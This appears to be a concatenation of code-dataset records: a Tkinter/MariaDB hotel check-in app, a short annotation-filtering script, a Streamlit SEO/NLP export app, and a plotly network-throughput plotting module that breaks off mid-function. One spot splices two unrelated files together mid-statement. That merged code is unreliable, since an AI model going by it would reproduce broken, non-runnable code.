cur = conn.cursor()\n try:\n statement = \"SELECT NIK, nomorKamar, statusPengunjung FROM informasiTamuHotel WHERE NIK = %s AND nomorKamar = %s AND statusPengunjung = %s\"\n data = (int(nikPelangganBook.get()), int(noKamarBook.get()), \"Book\",)\n cur.execute(statement, data)\n row = cur.fetchone()\n if (row == None):\n Label(screenBooking, text = \"Tidak dapat melakukan check in karena kamar tidak valid!\", fg = \"red\", font = (\"Helvetica, 13\")).pack()\n else:\n self.showCheckInBookingValid(screenBooking)\n except mariadb.Error as e:\n print(f\"Error retrieving entry form database: {e}\")\n\n def validateCheckInBooking(self):\n\n # Connect to database\n\n conn\n\n cur = conn.cursor()\n try:\n statement = \"SELECT nomorKamar, namaPengunjung, NIK, tanggalCheckIn, tanggalCheckOut FROM informasiTamuHotel WHERE NIK = %s AND nomorKamar = %s AND statusPengunjung = %s\"\n data = (int(nikPelangganBook.get()), int(noKamarBook.get()), \"Book\")\n cur.execute(statement, data)\n except mariadb.connector.Error as e:\n print(f\"Error retrieving entry from Database: {e}\")\n \n # Tampilkan informasi \n for data_tamu in cur:\n nomorKamarVal = data_tamu[0]\n namaPengunjungVal = data_tamu[1]\n NIKVal = data_tamu[2]\n tanggalCheckInVal = data_tamu[3]\n tanggalCheckOutVal = data_tamu[4]\n\n lf = tk.LabelFrame(screenBookValid, bg='white', padx=5, pady=10)\n lf.place(anchor=\"c\", relx=.5, rely=.5)\n \n Label(lf, text= \"Nomor Kamar\", font = (\"Helvetica\", 13), bg= 'white').grid(row=0, column=0, padx=20, pady=5, sticky='W')\n Label(lf, text= \"Nama Tamu\", font = (\"Helvetica\", 13), bg= 'white').grid(row=1, column=0, padx=20, pady=5, sticky='W')\n Label(lf, text= \"NIK Tamu\", font = (\"Helvetica\", 13), bg= 'white').grid(row=2, column=0, padx=20, pady=5, sticky='W')\n Label(lf, text= \"Tanggal Check In\", font = (\"Helvetica\", 13), bg= 'white').grid(row=3, column=0, padx=20, pady=5, sticky='W')\n Label(lf, text= \"Tanggal Check Out\", font = (\"Helvetica\", 13), bg= 'white').grid(row=4, column=0, padx=20, pady=5, sticky='W')\n \n Label(lf, text=nomorKamarVal, font = (\"Helvetica\", 13), bg= 'white').grid(row=0, column=1, padx=20, pady=5, sticky='E')\n Label(lf, text=namaPengunjungVal, font = (\"Helvetica\", 13), bg= 'white').grid(row=1, column=1, padx=20, pady=5, sticky='E')\n Label(lf, text=NIKVal, font = (\"Helvetica\", 13), bg= 'white').grid(row=2, column=1, padx=20, pady=5, sticky='E')\n Label(lf, text=tanggalCheckInVal, font = (\"Helvetica\", 13), bg= 'white').grid(row=3, column=1, padx=20, pady=5, sticky='E')\n Label(lf, text=tanggalCheckOutVal, font = (\"Helvetica\", 13), bg= 'white').grid(row=4, column=1, padx=20, pady=5, sticky='E')\n \n conn.commit()\n\n def showCheckInBookingValid(self, screenBooking):\n global screenBookValid\n screenBooking.destroy()\n screenBookValid = Tk()\n screenBookValid.title(\"myHotel\")\n screenBookValid.geometry(\"1270x690\")\n screenBookValid.config(bg = \"#F7F0F5\")\n\n # Title\n self.showTitle(screenBookValid)\n # Section Title\n self.showSectionTitle(screenBookValid)\n\n def ulangiCheckInBooking():\n self.BookingCheckIn(screenBookValid)\n\n def bukakonfirmasiCheckIn1():\n self.konfirmasiCheckIn1(screenBookValid)\n\n # Section Title\n Label(screenBookValid, text = \"Detail Pesanan Pengunjung\", font = (\"Helvetica\", 10, \"bold\"), bg=\"#F7F0F5\").place(x = 635, y = 180,anchor=\"center\")\n Label(screenBookValid, text = \"Lanjutkan Check-in?\", font = (\"Helvetica\", 15, \"bold\"), bg=\"#F7F0F5\").place(x = 635, y = 220,anchor=\"center\")\n\n # Menampilkan data check in pengunjung yang valid\n self.validateCheckInBooking()\n\n # Button next menuju konfirmasi check in\n Button(screenBookValid, text = \"Ya\", font = (\"Helvetica\", 12, \"bold\"), bg=\"#DECBB7\", width = 10, height = 1, command = self.prosesCheckInBook).place(x = 785, y = 500,anchor=\"ne\")\n \n # Button back menuju halaman utama check in\n Button(screenBookValid, text = \"Tidak\", font = (\"Helvetica\", 12, \"bold\"), bg=\"#8F857D\", width = 10, height = 1, command = ulangiCheckInBooking).place(x = 485, y = 500)\n\n screenBookValid.mainloop()\n\n \n def prosesCheckInBook(self):\n # Koneksi ke database\n\n conn\n \n cur = conn.cursor()\n try:\n # Update status pengunjung check in booking menjadi check in pada tabel informasi tamu hotel\n statement = \"UPDATE informasiTamuHotel SET statusPengunjung = %s WHERE NIK = %s AND nomorKamar = %s\"\n data = (\"Check-in\", int(nikPelangganBook.get()), int(noKamarBook.get()),)\n cur.execute(statement, data)\n\n # Update status kamar dari available menjadi unavailable pada Booking Check In pada tabel informasi kamar\n cur = conn.cursor()\n statement = \"UPDATE informasiKamar SET statusKamar = %s WHERE nomorKamar = %s\"\n data = (\"Unavailable\", int(noKamarBook.get()),)\n cur.execute(statement, data)\n\n except mariadb.Error as e:\n print(f\"Error updating or retrieving entry form database: {e}\")\n\n conn.commit()\n self.checkInBookingBerhasil(screenBookValid)\n\n def checkInBookingBerhasil(self, screenBookValid):\n global screenBookBerhasil\n screenBookValid.destroy()\n screenBookBerhasil = Tk()\n screenBookBerhasil.title(\"myHotel\")\n screenBookBerhasil.geometry(\"1270x690\")\n screenBookBerhasil.config(bg = \"#F7F0F5\")\n \n self.showTitle(screenBookBerhasil)\n self.showSectionTitle(screenBookBerhasil)\n \n def backToHomescreen():\n from home import ClassHome\n ClassHome().homescreen(screenBookBerhasil)\n\n Label(screenBookBerhasil, text = \"Check In Berhasil dilakukan!\", font = (\"Helvetica\", 18, \"bold\"), bg= \"#F7F0F5\").place(x = 635, y = 220,anchor=\"center\")\n\n # Button\n Button(screenBookBerhasil, text = \"Selesai Check In\", font = (\"Helvetica\", 12, \"bold\"), bg= \"#DECBB7\", width=15, height=1, command=backToHomescreen).place(x = 635, y = 320,anchor=\"center\")\n\n screenBookBerhasil.resizable(False,False)\n screenBookBerhasil.mainloop()\n\n def showTitle(self, screen):\n Label(screen, text=\"myHotel\",font=(\"helvetica\",20,\"bold\"),bg=\"#F7F0F5\",fg=\"black\").place(x=635,y=100,anchor=\"center\")\n\n def showSectionTitle(self, screen):\n Label(screen, text=\"Check-in\",font=(\"helvetica\",10,\"bold\"),bg=\"#F7F0F5\",fg=\"black\").place(x=635,y=140,anchor=\"center\")","repo_name":"alifiyabs/IF3152-2022-K01-05-myHotel","sub_path":"src-class/bookingCheckIn.py","file_name":"bookingCheckIn.py","file_ext":"py","file_size_in_byte":9619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33964492550","text":"\nfrom subprocess import call\nimport os\nimport subprocess\n#Open file Annotation and read to vector\nlsAnnotaiton=[]\nfAnnotation=open(\"prenoms.txt\",'r')\nfor index,line in enumerate(fAnnotation):\n\tlsAnnotaiton.append(line)\n#Open bad annotaions file and read to vector\nfBad=open(\"mauvais.txt\",'r')\nlsBad=[]\nfor line in fBad:\n\tlsBad.append(int(line)+1)\ni=0\n#Write to good file annotations\nfGood=open(\"good.txt\",'w')\n\nwhile i bytes conversions necessary here\n\t b64 = base64.b64encode(object_to_download.encode()).decode()\n\n\t return f'{download_link_text}'\n\n\tdf_kw = pd.DataFrame(cats_kw)\n\tgrouped_df_kw = df_kw.groupby(['Keyword Text']).agg({'Keyword Count': ['sum'], 'Keyword Relevance': ['mean']}).round(3)\n\tgrouped_df_kw = grouped_df_kw.reset_index()\n\tst.subheader('NLP keyword data')\n\tst.dataframe(grouped_df_kw)\n\tgrouped_df_kw_csv = grouped_df_kw.to_csv()\n\tst.download_button(label=f'Download keyword data for {keyword}', data=grouped_df_kw_csv, file_name=f'{keyword}_kw.csv', mime='text/csv')\n\n\tdf_ent = pd.DataFrame(cats_ent)\n\tgrouped_df_ent = df_ent.groupby(['Entity Text', 'Entity Type']).agg({'Entity Count': ['sum'], 'Entity Relevance': ['mean']}).round(3)\n\tgrouped_df_ent = grouped_df_ent.reset_index()\n\tst.subheader('NLP entity data')\n\tst.dataframe(grouped_df_ent)\n\tgrouped_df_ent_csv = grouped_df_ent.to_csv()\n\tst.download_button(label=f'Download entity data for {keyword}', data=grouped_df_ent_csv, file_name=f'{keyword}_kw.csv', mime='text/csv')\n\n\tdf = {key:pd.Series(value, dtype='object') for key, value in serp.items()}\n\tserp_df = pd.DataFrame(df)\n\tst.subheader('SERP data')\n\tst.dataframe(serp_df)\n\tserp_df_csv = serp_df.to_csv()\n\tst.download_button(label=f'Download SERP data for {keyword}', data=serp_df_csv, file_name=f'{keyword}_kw.csv', mime='text/csv')\n\n\tst.markdown('Completed!')\n","repo_name":"lukedavisseo/watserpstack_st","sub_path":"streamlit_app.py","file_name":"streamlit_app.py","file_ext":"py","file_size_in_byte":5993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9123243701","text":"import logging\nimport pandas as pd\nimport plotly.offline as ploff\nimport plotly.graph_objs as plgo\n\nfrom plotly.exceptions import PlotlyError\nfrom collections import OrderedDict\nfrom copy import deepcopy\n\nfrom utils import mean\n\n\nCOLORS = [\"SkyBlue\", \"Olive\", \"Purple\", \"Coral\", \"Indigo\", \"Pink\",\n \"Chocolate\", \"Brown\", \"Magenta\", \"Cyan\", \"Orange\", \"Black\",\n \"Violet\", \"Blue\", \"Yellow\", \"BurlyWood\", \"CadetBlue\", \"Crimson\",\n \"DarkBlue\", \"DarkCyan\", \"DarkGreen\", \"Green\", \"GoldenRod\",\n \"LightGreen\", \"LightSeaGreen\", \"LightSkyBlue\", \"Maroon\",\n \"MediumSeaGreen\", \"SeaGreen\", \"LightSlateGrey\"]\n\n\ndef generate_plots(spec, data):\n \"\"\"Generate all plots specified in the specification file.\n\n :param spec: Specification read from the specification file.\n :param data: Data to process.\n :type spec: Specification\n :type data: InputData\n \"\"\"\n\n logging.info(\"Generating the plots ...\")\n for index, plot in enumerate(spec.plots):\n try:\n logging.info(\" Plot nr {0}: {1}\".format(index + 1,\n plot.get(\"title\", \"\")))\n plot[\"limits\"] = spec.configuration[\"limits\"]\n eval(plot[\"algorithm\"])(plot, data)\n logging.info(\" Done.\")\n except NameError as err:\n logging.error(\"Probably algorithm '{alg}' is not defined: {err}\".\n format(alg=plot[\"algorithm\"], err=repr(err)))\n logging.info(\"Done.\")\n\n\ndef plot_performance_box(plot, input_data):\n \"\"\"Generate the plot(s) with algorithm: plot_performance_box\n specified in the specification file.\n\n :param plot: Plot to generate.\n :param input_data: Data to process.\n :type plot: pandas.Series\n :type input_data: InputData\n \"\"\"\n\n # Transform the data\n plot_title = plot.get(\"title\", \"\")\n logging.info(\" Creating the data set for the {0} '{1}'.\".\n format(plot.get(\"type\", \"\"), plot_title))\n data = input_data.filter_data(plot)\n if data is None:\n logging.error(\"No data.\")\n return\n\n # Prepare the data for the plot\n y_vals = dict()\n y_tags = dict()\n for job in data:\n for build in job:\n for test in build:\n if y_vals.get(test[\"parent\"], None) is None:\n y_vals[test[\"parent\"]] = list()\n y_tags[test[\"parent\"]] = test.get(\"tags\", None)\n try:\n if test[\"type\"] in (\"NDRPDR\", ):\n if \"-pdr\" in plot_title.lower():\n y_vals[test[\"parent\"]].\\\n append(test[\"throughput\"][\"PDR\"][\"LOWER\"])\n elif \"-ndr\" in plot_title.lower():\n y_vals[test[\"parent\"]]. \\\n append(test[\"throughput\"][\"NDR\"][\"LOWER\"])\n else:\n continue\n else:\n continue\n except (KeyError, TypeError):\n y_vals[test[\"parent\"]].append(None)\n\n # Sort the tests\n order = plot.get(\"sort\", None)\n if order and y_tags:\n y_sorted = OrderedDict()\n y_tags_l = {s: [t.lower() for t in ts] for s, ts in y_tags.items()}\n for tag in order:\n logging.debug(tag)\n for suite, tags in y_tags_l.items():\n if \"not \" in tag:\n tag = tag.split(\" \")[-1]\n if tag.lower() in tags:\n continue\n else:\n if tag.lower() not in tags:\n continue\n try:\n y_sorted[suite] = y_vals.pop(suite)\n y_tags_l.pop(suite)\n logging.debug(suite)\n except KeyError as err:\n logging.error(\"Not found: {0}\".format(repr(err)))\n finally:\n break\n else:\n y_sorted = y_vals\n\n # Add None to the lists with missing data\n max_len = 0\n nr_of_samples = list()\n for val in y_sorted.values():\n if len(val) > max_len:\n max_len = len(val)\n nr_of_samples.append(len(val))\n for key, val in y_sorted.items():\n if len(val) < max_len:\n val.extend([None for _ in range(max_len - len(val))])\n\n # Add plot traces\n traces = list()\n df = pd.DataFrame(y_sorted)\n df.head()\n y_max = list()\n for i, col in enumerate(df.columns):\n name = \"{nr}. ({samples:02d} run{plural}) {name}\".\\\n format(nr=(i + 1),\n samples=nr_of_samples[i],\n plural='s' if nr_of_samples[i] > 1 else '',\n name=col.lower().replace('-ndrpdr', ''))\n if len(name) > 50:\n name_lst = name.split('-')\n name = \"\"\n split_name = True\n for segment in name_lst:\n if (len(name) + len(segment) + 1) > 50 and split_name:\n name += \"
    \"\n split_name = False\n name += segment + '-'\n name = name[:-1]\n\n logging.debug(name)\n traces.append(plgo.Box(x=[str(i + 1) + '.'] * len(df[col]),\n y=[y / 1000000 if y else None for y in df[col]],\n name=name,\n **plot[\"traces\"]))\n try:\n val_max = max(df[col])\n except ValueError as err:\n logging.error(repr(err))\n continue\n if val_max:\n y_max.append(int(val_max / 1000000) + 1)\n\n try:\n # Create plot\n layout = deepcopy(plot[\"layout\"])\n if layout.get(\"title\", None):\n layout[\"title\"] = \"Packet Throughput: {0}\". \\\n format(layout[\"title\"])\n if y_max:\n layout[\"yaxis\"][\"range\"] = [0, max(y_max)]\n plpl = plgo.Figure(data=traces, layout=layout)\n\n # Export Plot\n logging.info(\" Writing file '{0}{1}'.\".\n format(plot[\"output-file\"], plot[\"output-file-type\"]))\n ploff.plot(plpl, show_link=False, auto_open=False,\n filename='{0}{1}'.format(plot[\"output-file\"],\n plot[\"output-file-type\"]))\n except PlotlyError as err:\n logging.error(\" Finished with error: {}\".\n format(repr(err).replace(\"\\n\", \" \")))\n return\n\n\ndef plot_latency_error_bars(plot, input_data):\n \"\"\"Generate the plot(s) with algorithm: plot_latency_error_bars\n specified in the specification file.\n\n :param plot: Plot to generate.\n :param input_data: Data to process.\n :type plot: pandas.Series\n :type input_data: InputData\n \"\"\"\n\n # Transform the data\n plot_title = plot.get(\"title\", \"\")\n logging.info(\" Creating the data set for the {0} '{1}'.\".\n format(plot.get(\"type\", \"\"), plot_title))\n data = input_data.filter_data(plot)\n if data is None:\n logging.error(\"No data.\")\n return\n\n # Prepare the data for the plot\n y_tmp_vals = dict()\n y_tags = dict()\n for job in data:\n for build in job:\n for test in build:\n try:\n logging.debug(\"test['latency']: {0}\\n\".\n format(test[\"latency\"]))\n except ValueError as err:\n logging.warning(repr(err))\n if y_tmp_vals.get(test[\"parent\"], None) is None:\n y_tmp_vals[test[\"parent\"]] = [\n list(), # direction1, min\n list(), # direction1, avg\n list(), # direction1, max\n list(), # direction2, min\n list(), # direction2, avg\n list() # direction2, max\n ]\n y_tags[test[\"parent\"]] = test.get(\"tags\", None)\n try:\n if test[\"type\"] in (\"NDRPDR\", ):\n if \"-pdr\" in plot_title.lower():\n ttype = \"PDR\"\n elif \"-ndr\" in plot_title.lower():\n ttype = \"NDR\"\n else:\n logging.warning(\"Invalid test type: {0}\".\n format(test[\"type\"]))\n continue\n y_tmp_vals[test[\"parent\"]][0].append(\n test[\"latency\"][ttype][\"direction1\"][\"min\"])\n y_tmp_vals[test[\"parent\"]][1].append(\n test[\"latency\"][ttype][\"direction1\"][\"avg\"])\n y_tmp_vals[test[\"parent\"]][2].append(\n test[\"latency\"][ttype][\"direction1\"][\"max\"])\n y_tmp_vals[test[\"parent\"]][3].append(\n test[\"latency\"][ttype][\"direction2\"][\"min\"])\n y_tmp_vals[test[\"parent\"]][4].append(\n test[\"latency\"][ttype][\"direction2\"][\"avg\"])\n y_tmp_vals[test[\"parent\"]][5].append(\n test[\"latency\"][ttype][\"direction2\"][\"max\"])\n else:\n logging.warning(\"Invalid test type: {0}\".\n format(test[\"type\"]))\n continue\n except (KeyError, TypeError) as err:\n logging.warning(repr(err))\n logging.debug(\"y_tmp_vals: {0}\\n\".format(y_tmp_vals))\n\n # Sort the tests\n order = plot.get(\"sort\", None)\n if order and y_tags:\n y_sorted = OrderedDict()\n y_tags_l = {s: [t.lower() for t in ts] for s, ts in y_tags.items()}\n for tag in order:\n logging.debug(tag)\n for suite, tags in y_tags_l.items():\n if \"not \" in tag:\n tag = tag.split(\" \")[-1]\n if tag.lower() in tags:\n continue\n else:\n if tag.lower() not in tags:\n continue\n try:\n y_sorted[suite] = y_tmp_vals.pop(suite)\n y_tags_l.pop(suite)\n logging.debug(suite)\n except KeyError as err:\n logging.error(\"Not found: {0}\".format(repr(err)))\n finally:\n break\n else:\n y_sorted = y_tmp_vals\n\n logging.debug(\"y_sorted: {0}\\n\".format(y_sorted))\n x_vals = list()\n y_vals = list()\n y_mins = list()\n y_maxs = list()\n nr_of_samples = list()\n for key, val in y_sorted.items():\n name = \"-\".join(key.split(\"-\")[1:-1])\n if len(name) > 50:\n name_lst = name.split('-')\n name = \"\"\n split_name = True\n for segment in name_lst:\n if (len(name) + len(segment) + 1) > 50 and split_name:\n name += \"
    \"\n split_name = False\n name += segment + '-'\n name = name[:-1]\n x_vals.append(name) # dir 1\n y_vals.append(mean(val[1]) if val[1] else None)\n y_mins.append(mean(val[0]) if val[0] else None)\n y_maxs.append(mean(val[2]) if val[2] else None)\n nr_of_samples.append(len(val[1]) if val[1] else 0)\n x_vals.append(name) # dir 2\n y_vals.append(mean(val[4]) if val[4] else None)\n y_mins.append(mean(val[3]) if val[3] else None)\n y_maxs.append(mean(val[5]) if val[5] else None)\n nr_of_samples.append(len(val[3]) if val[3] else 0)\n\n logging.debug(\"x_vals :{0}\\n\".format(x_vals))\n logging.debug(\"y_vals :{0}\\n\".format(y_vals))\n logging.debug(\"y_mins :{0}\\n\".format(y_mins))\n logging.debug(\"y_maxs :{0}\\n\".format(y_maxs))\n logging.debug(\"nr_of_samples :{0}\\n\".format(nr_of_samples))\n traces = list()\n annotations = list()\n\n for idx in range(len(x_vals)):\n if not bool(int(idx % 2)):\n direction = \"West-East\"\n else:\n direction = \"East-West\"\n hovertext = (\"No. of Runs: {nr}
    \"\n \"Test: {test}
    \"\n \"Direction: {dir}
    \".format(test=x_vals[idx],\n dir=direction,\n nr=nr_of_samples[idx]))\n if isinstance(y_maxs[idx], float):\n hovertext += \"Max: {max:.2f}uSec
    \".format(max=y_maxs[idx])\n if isinstance(y_vals[idx], float):\n hovertext += \"Mean: {avg:.2f}uSec
    \".format(avg=y_vals[idx])\n if isinstance(y_mins[idx], float):\n hovertext += \"Min: {min:.2f}uSec\".format(min=y_mins[idx])\n\n if isinstance(y_maxs[idx], float) and isinstance(y_vals[idx], float):\n array = [y_maxs[idx] - y_vals[idx], ]\n else:\n array = [None, ]\n if isinstance(y_mins[idx], float) and isinstance(y_vals[idx], float):\n arrayminus = [y_vals[idx] - y_mins[idx], ]\n else:\n arrayminus = [None, ]\n logging.debug(\"y_vals[{1}] :{0}\\n\".format(y_vals[idx], idx))\n logging.debug(\"array :{0}\\n\".format(array))\n logging.debug(\"arrayminus :{0}\\n\".format(arrayminus))\n traces.append(plgo.Scatter(\n x=[idx, ],\n y=[y_vals[idx], ],\n name=x_vals[idx],\n legendgroup=x_vals[idx],\n showlegend=bool(int(idx % 2)),\n mode=\"markers\",\n error_y=dict(\n type='data',\n symmetric=False,\n array=array,\n arrayminus=arrayminus,\n color=COLORS[int(idx / 2)]\n ),\n marker=dict(\n size=10,\n color=COLORS[int(idx / 2)],\n ),\n text=hovertext,\n hoverinfo=\"text\",\n ))\n annotations.append(dict(\n x=idx,\n y=0,\n xref=\"x\",\n yref=\"y\",\n xanchor=\"center\",\n yanchor=\"top\",\n text=\"E-W\" if bool(int(idx % 2)) else \"W-E\",\n font=dict(\n size=16,\n ),\n align=\"center\",\n showarrow=False\n ))\n\n try:\n # Create plot\n logging.info(\" Writing file '{0}{1}'.\".\n format(plot[\"output-file\"], plot[\"output-file-type\"]))\n layout = deepcopy(plot[\"layout\"])\n if layout.get(\"title\", None):\n layout[\"title\"] = \"Packet Latency: {0}\".\\\n format(layout[\"title\"])\n layout[\"annotations\"] = annotations\n plpl = plgo.Figure(data=traces, layout=layout)\n\n # Export Plot\n ploff.plot(plpl,\n show_link=False, auto_open=False,\n filename='{0}{1}'.format(plot[\"output-file\"],\n plot[\"output-file-type\"]))\n except PlotlyError as err:\n logging.error(\" Finished with error: {}\".\n format(str(err).replace(\"\\n\", \" \")))\n return\n\n\ndef plot_throughput_speedup_analysis(plot, input_data):\n \"\"\"Generate the plot(s) with algorithm:\n plot_throughput_speedup_analysis\n specified in the specification file.\n\n :param plot: Plot to generate.\n :param input_data: Data to process.\n :type plot: pandas.Series\n :type input_data: InputData\n \"\"\"\n\n # Transform the data\n plot_title = plot.get(\"title\", \"\")\n logging.info(\" Creating the data set for the {0} '{1}'.\".\n format(plot.get(\"type\", \"\"), plot_title))\n data = input_data.filter_data(plot)\n if data is None:\n logging.error(\"No data.\")\n return\n\n y_vals = dict()\n y_tags = dict()\n for job in data:\n for build in job:\n for test in build:\n if y_vals.get(test[\"parent\"], None) is None:\n y_vals[test[\"parent\"]] = {\"1\": list(),\n \"2\": list(),\n \"4\": list()}\n y_tags[test[\"parent\"]] = test.get(\"tags\", None)\n try:\n if test[\"type\"] in (\"NDRPDR\",):\n if \"-pdr\" in plot_title.lower():\n ttype = \"PDR\"\n elif \"-ndr\" in plot_title.lower():\n ttype = \"NDR\"\n else:\n continue\n if \"1C\" in test[\"tags\"]:\n y_vals[test[\"parent\"]][\"1\"]. \\\n append(test[\"throughput\"][ttype][\"LOWER\"])\n elif \"2C\" in test[\"tags\"]:\n y_vals[test[\"parent\"]][\"2\"]. \\\n append(test[\"throughput\"][ttype][\"LOWER\"])\n elif \"4C\" in test[\"tags\"]:\n y_vals[test[\"parent\"]][\"4\"]. \\\n append(test[\"throughput\"][ttype][\"LOWER\"])\n except (KeyError, TypeError):\n pass\n\n if not y_vals:\n logging.warning(\"No data for the plot '{}'\".\n format(plot.get(\"title\", \"\")))\n return\n\n y_1c_max = dict()\n for test_name, test_vals in y_vals.items():\n for key, test_val in test_vals.items():\n if test_val:\n avg_val = sum(test_val) / len(test_val)\n y_vals[test_name][key] = (avg_val, len(test_val))\n ideal = avg_val / (int(key) * 1000000.0)\n if test_name not in y_1c_max or ideal > y_1c_max[test_name]:\n y_1c_max[test_name] = ideal\n\n vals = dict()\n y_max = list()\n nic_limit = 0\n lnk_limit = 0\n pci_limit = plot[\"limits\"][\"pci\"][\"pci-g3-x8\"]\n for test_name, test_vals in y_vals.items():\n try:\n if test_vals[\"1\"][1]:\n name = \"-\".join(test_name.split('-')[1:-1])\n if len(name) > 50:\n name_lst = name.split('-')\n name = \"\"\n split_name = True\n for segment in name_lst:\n if (len(name) + len(segment) + 1) > 50 and split_name:\n name += \"
    \"\n split_name = False\n name += segment + '-'\n name = name[:-1]\n\n vals[name] = dict()\n y_val_1 = test_vals[\"1\"][0] / 1000000.0\n y_val_2 = test_vals[\"2\"][0] / 1000000.0 if test_vals[\"2\"][0] \\\n else None\n y_val_4 = test_vals[\"4\"][0] / 1000000.0 if test_vals[\"4\"][0] \\\n else None\n\n vals[name][\"val\"] = [y_val_1, y_val_2, y_val_4]\n vals[name][\"rel\"] = [1.0, None, None]\n vals[name][\"ideal\"] = [y_1c_max[test_name],\n y_1c_max[test_name] * 2,\n y_1c_max[test_name] * 4]\n vals[name][\"diff\"] = [(y_val_1 - y_1c_max[test_name]) * 100 /\n y_val_1, None, None]\n vals[name][\"count\"] = [test_vals[\"1\"][1],\n test_vals[\"2\"][1],\n test_vals[\"4\"][1]]\n\n try:\n val_max = max(max(vals[name][\"val\"], vals[name][\"ideal\"]))\n except ValueError as err:\n logging.error(err)\n continue\n if val_max:\n y_max.append(int((val_max / 10) + 1) * 10)\n\n if y_val_2:\n vals[name][\"rel\"][1] = round(y_val_2 / y_val_1, 2)\n vals[name][\"diff\"][1] = \\\n (y_val_2 - vals[name][\"ideal\"][1]) * 100 / y_val_2\n if y_val_4:\n vals[name][\"rel\"][2] = round(y_val_4 / y_val_1, 2)\n vals[name][\"diff\"][2] = \\\n (y_val_4 - vals[name][\"ideal\"][2]) * 100 / y_val_4\n except IndexError as err:\n logging.warning(\"No data for '{0}'\".format(test_name))\n logging.warning(repr(err))\n\n # Limits:\n if \"x520\" in test_name:\n limit = plot[\"limits\"][\"nic\"][\"x520\"]\n elif \"x710\" in test_name:\n limit = plot[\"limits\"][\"nic\"][\"x710\"]\n elif \"xxv710\" in test_name:\n limit = plot[\"limits\"][\"nic\"][\"xxv710\"]\n elif \"xl710\" in test_name:\n limit = plot[\"limits\"][\"nic\"][\"xl710\"]\n elif \"x553\" in test_name:\n limit = plot[\"limits\"][\"nic\"][\"x553\"]\n else:\n limit = 0\n if limit > nic_limit:\n nic_limit = limit\n\n mul = 2 if \"ge2p\" in test_name else 1\n if \"10ge\" in test_name:\n limit = plot[\"limits\"][\"link\"][\"10ge\"] * mul\n elif \"25ge\" in test_name:\n limit = plot[\"limits\"][\"link\"][\"25ge\"] * mul\n elif \"40ge\" in test_name:\n limit = plot[\"limits\"][\"link\"][\"40ge\"] * mul\n elif \"100ge\" in test_name:\n limit = plot[\"limits\"][\"link\"][\"100ge\"] * mul\n else:\n limit = 0\n if limit > lnk_limit:\n lnk_limit = limit\n\n # Sort the tests\n order = plot.get(\"sort\", None)\n if order and y_tags:\n y_sorted = OrderedDict()\n y_tags_l = {s: [t.lower() for t in ts] for s, ts in y_tags.items()}\n for tag in order:\n for test, tags in y_tags_l.items():\n if tag.lower() in tags:\n name = \"-\".join(test.split('-')[1:-1])\n try:\n y_sorted[name] = vals.pop(name)\n y_tags_l.pop(test)\n except KeyError as err:\n logging.error(\"Not found: {0}\".format(err))\n finally:\n break\n else:\n y_sorted = vals\n\n traces = list()\n annotations = list()\n x_vals = [1, 2, 4]\n\n # Limits:\n try:\n threshold = 1.1 * max(y_max) # 10%\n except ValueError as err:\n logging.error(err)\n return\n nic_limit /= 1000000.0\n if nic_limit < threshold:\n traces.append(plgo.Scatter(\n x=x_vals,\n y=[nic_limit, ] * len(x_vals),\n name=\"NIC: {0:.2f}Mpps\".format(nic_limit),\n showlegend=False,\n mode=\"lines\",\n line=dict(\n dash=\"dot\",\n color=COLORS[-1],\n width=1),\n hoverinfo=\"none\"\n ))\n annotations.append(dict(\n x=1,\n y=nic_limit,\n xref=\"x\",\n yref=\"y\",\n xanchor=\"left\",\n yanchor=\"bottom\",\n text=\"NIC: {0:.2f}Mpps\".format(nic_limit),\n font=dict(\n size=14,\n color=COLORS[-1],\n ),\n align=\"left\",\n showarrow=False\n ))\n y_max.append(int((nic_limit / 10) + 1) * 10)\n\n lnk_limit /= 1000000.0\n if lnk_limit < threshold:\n traces.append(plgo.Scatter(\n x=x_vals,\n y=[lnk_limit, ] * len(x_vals),\n name=\"Link: {0:.2f}Mpps\".format(lnk_limit),\n showlegend=False,\n mode=\"lines\",\n line=dict(\n dash=\"dot\",\n color=COLORS[-2],\n width=1),\n hoverinfo=\"none\"\n ))\n annotations.append(dict(\n x=1,\n y=lnk_limit,\n xref=\"x\",\n yref=\"y\",\n xanchor=\"left\",\n yanchor=\"bottom\",\n text=\"Link: {0:.2f}Mpps\".format(lnk_limit),\n font=dict(\n size=14,\n color=COLORS[-2],\n ),\n align=\"left\",\n showarrow=False\n ))\n y_max.append(int((lnk_limit / 10) + 1) * 10)\n\n pci_limit /= 1000000.0\n if pci_limit < threshold:\n traces.append(plgo.Scatter(\n x=x_vals,\n y=[pci_limit, ] * len(x_vals),\n name=\"PCIe: {0:.2f}Mpps\".format(pci_limit),\n showlegend=False,\n mode=\"lines\",\n line=dict(\n dash=\"dot\",\n color=COLORS[-3],\n width=1),\n hoverinfo=\"none\"\n ))\n annotations.append(dict(\n x=1,\n y=pci_limit,\n xref=\"x\",\n yref=\"y\",\n xanchor=\"left\",\n yanchor=\"bottom\",\n text=\"PCIe: {0:.2f}Mpps\".format(pci_limit),\n font=dict(\n size=14,\n color=COLORS[-3],\n ),\n align=\"left\",\n showarrow=False\n ))\n y_max.append(int((pci_limit / 10) + 1) * 10)\n\n # Perfect and measured:\n cidx = 0\n for name, val in y_sorted.iteritems():\n hovertext = list()\n try:\n for idx in range(len(val[\"val\"])):\n htext = \"\"\n if isinstance(val[\"val\"][idx], float):\n htext += \"No. of Runs: {1}
    \" \\\n \"Mean: {0:.2f}Mpps
    \".format(val[\"val\"][idx],\n val[\"count\"][idx])\n if isinstance(val[\"diff\"][idx], float):\n htext += \"Diff: {0:.0f}%
